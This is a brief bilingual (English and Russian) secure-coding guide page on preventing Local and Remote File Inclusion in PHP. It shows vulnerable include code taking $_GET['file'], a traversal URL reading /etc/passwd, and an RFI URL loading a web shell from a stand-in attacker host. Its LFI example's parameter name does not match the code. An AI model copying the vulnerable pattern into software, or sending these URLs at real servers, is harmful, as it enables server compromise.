Skip to main content

V5.3.9 Output Encoding and Injection Prevention

Requirement:#

Verify that the application protects against Local File Inclusion (LFI) or Remote File Inclusion (RFI) attacks.

Explanation:#

Local File Inclusion (LFI)

НаличиС уязвимости Π² скриптС, ΠΊ Β ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ:

$file = $_GET['file'];
include $file.'.php';

ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π½Π° сторонС сСрвСра. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ HTTP-запрос:

http://example.com/file.php?addr=../../../../../etc/passwd

Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Π½Π° локальной систСмС.

Remote File Inclusion (RFI)

НаличиС уязвимости Π² скриптС, ΠΊ Β ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ:

$file = $_GET['file'];
include($file);

ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π½Π° сторонС сСрвСра. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ HTTP-запрос:

http://example.com/?file=http://attacker.com/wso.php

Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ врСдоносный ΠΊΠΎΠ΄ Π½Π° сторонС сСрвСра.

Remediation:#

Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½ΠΎ ΠΎΡ‚ Π°Ρ‚Π°ΠΊ с Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ„Π°ΠΉΠ»ΠΎΠ² (LFI) ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ„Π°ΠΉΠ»ΠΎΠ² (RFI).

Additional:#